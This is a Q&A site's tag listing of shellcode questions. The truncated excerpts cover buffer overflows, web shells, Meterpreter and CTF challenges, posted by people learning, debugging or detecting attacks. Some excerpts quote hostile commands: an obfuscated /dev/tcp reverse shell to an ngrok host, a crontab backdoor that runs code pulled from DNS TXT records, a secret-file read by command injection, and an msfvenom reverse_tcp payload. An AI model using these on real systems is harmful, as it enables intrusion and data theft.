Questions tagged [shellcode]
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
243
questions
1
vote
0
answers
519
views
Shellcode Injection/Poisoning on Mobile Networks[GSM/LTE/CDMA-varaints]?
In the previous question(How do APN hacks work?) I have enquired about APN hacks but after reseaching more about cellular networks.
I wonder has anybody attempted Remote-code execution/poisoning,etc ...
0
votes
1
answer
562
views
Unable to execute shellcode on x86_64 architecture
I currently got interested in binary exploitation (even though I do not know if today is still useful).
I started studying shellcode and buffer overflow (stack-buffer overflow, specifically). I know ...
CommunityBot
- 1
0
votes
0
answers
31
views
bin/sh in return-to-libc attacks
Return-to-libc is an attack where the attacker, in most cases, returns to the system function, which it uses to execute shell commands. However, I am confused about two things:
The command that the ...
- 1
1
vote
1
answer
5k
views
Starting a new shell in a strcpy exploit using buffer overflow
I'm learning about buffer overflows and have this vulnerable code which I'm trying to start a shell from:
#include <string.h>
void myfunction(char *arg);
int main(int argc, char **argv)
{
...
CommunityBot
- 1
5
votes
1
answer
9k
views
Error Running command shell :TimeoutError Operation Time out
I am Testing a Payload linux/x86/meterpreter/reverse_tcp in my Test Linux network to Exploit, I got a Meterpreter Session by Metasploit using it, I tried several commands like getuid, cat and all ...
CommunityBot
- 1
2
votes
1
answer
182
views
Why would you use the command `test` in a php shell injection?
I saw someone doing this in a php shell injection:
test | cat /var/backup/secret.txt
Why are they using test |? How is that not useless here?
CommunityBot
- 1
0
votes
0
answers
100
views
Why does my uploaded shell as .php gets downloaded rather than executed when I hit the URL?
I have uploaded a php shell using a file upload vulnerability. But when I hit the .php url after uploading it. It gets downloaded rather than executed. Why is that. And how can I execute my shell code?...
- 132k
1
vote
2
answers
77
views
PHP embedded within PNG is not executing rather randering in IIS but executes in Apache
I am pentesting a site with all permissions. I have been able to upload a PHP shell embedded within a png image. I have also been able to change the extension of the file like
something.php. So my ...
- 129
1
vote
0
answers
81
views
How to get Avast to stop quarantining my program?
I need to use a .NET shellcode inside a c++ unmanaged process. Let me be clear the shellcode is not malicious by any means, I just need it to load .NET code in an unmanaged process.
Antivirus won't ...
- 132k
1
vote
0
answers
44
views
How can I jump to an address after executing a donut shellcode?
I'm looking to execute a shellcode by packaging it inside an executable.
I generate an executable (open the calculator)
I output a shellcode from the executable with donut.
donut.exe -i opencalc.exe ...
- 2,155
0
votes
1
answer
75
views
Reverse Shell payload does not work
$(/bin/prin[t]f 'ba\x73h -c \x27ba\x73h -i \x3e\x26 /d\x65v/t\x63p/2.t\x63p.eu.ngrok.io/xxxxx 0\x3e\x261\x27')
-i: -c: line 1: unexpected EOF while looking for matching `''
I was trying to get a ...
CommunityBot
- 1
0
votes
1
answer
181
views
Info integer overflow vulnerability
I've found this interesting question Is this integer overflow vulnerability exploitable?.
How can I practically find the next instruction (in gdb) so that I can overwrite the return address and ...
CommunityBot
- 1
2
votes
1
answer
699
views
Exploit education stack-five: trouble opening shell
Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/).
I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
CommunityBot
- 1
0
votes
1
answer
141
views
pvefindaddr p2 in mona?
Is there a !pvefindaddr p2 (search for all pop/pop/ret combinations in the entire process memory space) equivalent in mona.py?
Alternatively, is there any option to run pvefindaddr in latest versions ...
CommunityBot
- 1
0
votes
0
answers
85
views
Buffer Overflow shell
I'm trying to exploit the code posted by ir0nstone at this link https://ir0nstone.gitbook.io/notes/types/stack/shellcode.
I followed any of the steps listed in the tutorial, ASLR is not enabled on my ...
- 1
15
votes
1
answer
5k
views
What does the NSA's Recently Leaked "The Equation Group" Files do?
First Hand Details
TEG (The Equation Group) is NSA's team of hackers who'd write code to exploit systems worldwide. Some of the private files were recently dropped by a group called Shadow Brokers and ...
- 2,831
0
votes
1
answer
264
views
Automatically insertion of 00 in EIP in Stack Overflow 64bit
I am trying to overflow a stack in C sample code to execute uncalled function in code.
The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
CommunityBot
- 1
0
votes
0
answers
115
views
push /bin/sh to get a shell
I usually use a different method to push /bin/sh in rdi to get a shell, but I wanted to try this one :
Put in case that I can control the RIP and there are no limitations or filters. So I can execute ...
- 132k
1
vote
0
answers
100
views
How can I exploit the following code using string format vulnerabilities, Global offset table & GDB? [closed]
The following code should be exploited and I need to exploit it in such a way that it runs my command (l33t) and there should be shellcode and exploit included, so that it runs my command. I believe I ...
- 11
1
vote
0
answers
119
views
How to properly pack address into bytes to overwrite EIP register
I'm learning how to exploit a tiny web server based on a well written post here: https://blog.coffinsec.com/2017/11/10/tiny-web-server-buffer-overflow-discovery-and-poc.html
I am very close to ...
- 111
1
vote
2
answers
1k
views
Abusing Shell Feature for Privilege Escalation
This was covered in Linux PrivEsc, task 15, in this TryHackMe room.
I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/...
- 132k
0
votes
0
answers
261
views
Encoding shellcode to hide in filename / directory
Working on a CTF challenge and the coordinators hint suggests that one of the vectors to inject shellcode is via pathing. Looking at debugging prints does show the cwd and filename are passed onto the ...
- 1
0
votes
1
answer
250
views
Exporting shellcode to environment variable doesn't work as expected
(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )
When exporting shellcode to EGG environment variable
export ...
- 19k
4
votes
4
answers
5k
views
Clamav can't detect encoded virus files
I have a PHP sheller file (like c99 file) but it's encoded with this functions:
eval(gzinflate(base64_decode("7P3rehblahblah"))
The clamav virus scan can't detect it. How can I detect a virus and ...
- 132k
8
votes
3
answers
2k
views
Buffer overflow stack adjustment
I am quite new to buffer overflows and I am practicing right now different types of buffer overflow attacks. The shellcode was not executed until it was padded with NOPs although it's set properly in ...
- 132k
1
vote
1
answer
453
views
Buffer overflow stops executing shellcode in the middle of it
I am trying to execute a simple shellcode by using a buffer overflow. The shell code starts executing but stops in the middle (even though it is fully copied to memory).
This is the vulnerable C code:...
- 121
1
vote
2
answers
638
views
Linux x86_64 Assembly works standalone, but Segfaults when ran as shellcode in C
I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page:
[bits 64]
global _start
section .text
_start:
xor rcx, rcx
...
- 21
0
votes
1
answer
435
views
Problem with shellcode when exploiting Chakra
I study Information Security at university, and we got at school a project to use some old patched vulnerability to get control over PC. We have chosen Chakra exploit CVE-2016-7200. We have it working ...
CommunityBot
- 1
0
votes
3
answers
3k
views
MSFvenom payload with dynamic options
I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
4
votes
1
answer
2k
views
Not able to run the injected shellcode
#include <stdio.h>
void secret()
{
printf("Congratulations!\n");
}
void echo()
{
char array[60];
scanf("%s", array);
printf("You entered: %s\n", array);
}
int main()
{
...
CommunityBot
- 1
2
votes
1
answer
142
views
Does it matter what nameserver is queried for TXT records?
I found this backdoor in a crontab:
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
And if i understood correctly, it queries all the TXT records in the domain ...
- 14.5k
5
votes
4
answers
23k
views
Is it possible to execute a local file or code from cURL?
I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax:
curl "local file"
I was looking for possible solutions and found that to read the ...
- 97
20
votes
1
answer
10k
views
How does shellcode really run?
I read the book "The Shellcoders Handbook", and in it there is some C code which will execute shellcode (it will only call exit syscall).
char shellcode[] = “\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\...
- 67.1k
2
votes
1
answer
2k
views
BufferOverflow ESP too small for shellcode
I want to write an exploit for a test application that provides only 12 bytes of space at the ESP. I'm not able to place shellcode in such a small space. I have no clue what I can do to solve this.
I ...
CommunityBot
- 1
2
votes
1
answer
1k
views
Shellcode not executing properly
I managed to get shellcode to be pointed to by eip by building my executable without safety measures.
However, it does not appear to execute.
Here is the C source of my vulnerable program:
#include ...
CommunityBot
- 1
4
votes
2
answers
307
views
Instruction Overwrites with Garbage?
I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-...
- 5,969
0
votes
2
answers
478
views
Shellcode not executing despite EIP being overwritten properly
Here is my exploit:
junk = b'A' * 1032
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives
shellcode = b""
shellcode += b"\x33\xc0" # xor eax, ...
CommunityBot
- 1
3
votes
1
answer
932
views
Where I am going wrong with Veil? Cannot get a reverse shell? [duplicate]
This is how I am generating the payload in Veil 3
> use XX
> set LHOST X.X.X.X
> set LPORT 3333
> generate
The payload generates successfully and transferred to victim machine Win7 SP1 ...
- 132k
-1
votes
1
answer
553
views
How do you execute ls -la when encoded as hex? [closed]
There used to be a really bad joke from the internet where you would copy something starting with \x0B\x2E... (just an example) and when you execute this command the terminal would interpret it as ...
- 132k
0
votes
2
answers
857
views
What is the maximum payload injection size
I have been conducting some minor research into the various forms of exploitation, such as buffer overflows and similar.
Most tutorials seem to focus on executing shellcode, that is code which ...
- 2,294
1
vote
3
answers
1k
views
Can't inject meterpreter shellcode in c++ code
I want to inject meterpreter shellcode in a c++ program.
When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well.
But when I create shellcode and inject it ...
CommunityBot
- 1
2
votes
1
answer
828
views
Eliminating 0x0a from ShellCode for unlink file
I have written a shellcode to unlink a file from the system, but when I extracted the hexcode off the binary file, it consists of \x0a byte, because the sys call number for unlink function is 10, so ...
- 132k
5
votes
1
answer
12k
views
Reverse Bash Shell one liner
I know that when the following code is run a reverse bash shell is created from the victim's computer to the attacker's computer. Can someone please explain to me the significance of the number "...
- 1,554
0
votes
0
answers
602
views
Shell does not execute after buffer overflow
I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to ...
- 1
19
votes
2
answers
25k
views
How "leaking pointers" to bypass DEP/ASLR works
I was wondering if anyone could give me some clues on how "leaking pointers" to bypass DEP/ASLR work. I read here:
The only way to reliably bypass DEP and ASLR is through an pointer
leak. This is ...
CommunityBot
- 1
1
vote
2
answers
9k
views
Can pipe | shell | nc > pipe achieve remote shell?
In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell :
mkfifo /tmp/...
- 31
1
vote
1
answer
123
views
CLI application running user defined command periodically [closed]
For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>).
I have seen other applications ...
0
votes
1
answer
138
views
What is claimed here about a vulnerability in the target of a "really common shell"?
in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted:
fucking yikes.. ran every bitcoin exchange for a really common shell and found....
Uname: Linux cloudimage 4.4.0-166-generic ...
- 73.1k
2
votes
1
answer
1k
views
Prevent shell script inside image file
Recently, one of my website was hacked by someone who uploaded an image (shell.gif) to my server.
I have put server side validation to check file extension + mime type of the image. However, they are ...
- 11
2
votes
2
answers
2k
views
How do I gain root access to a system using a setuid root binary?
Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a ...
- 488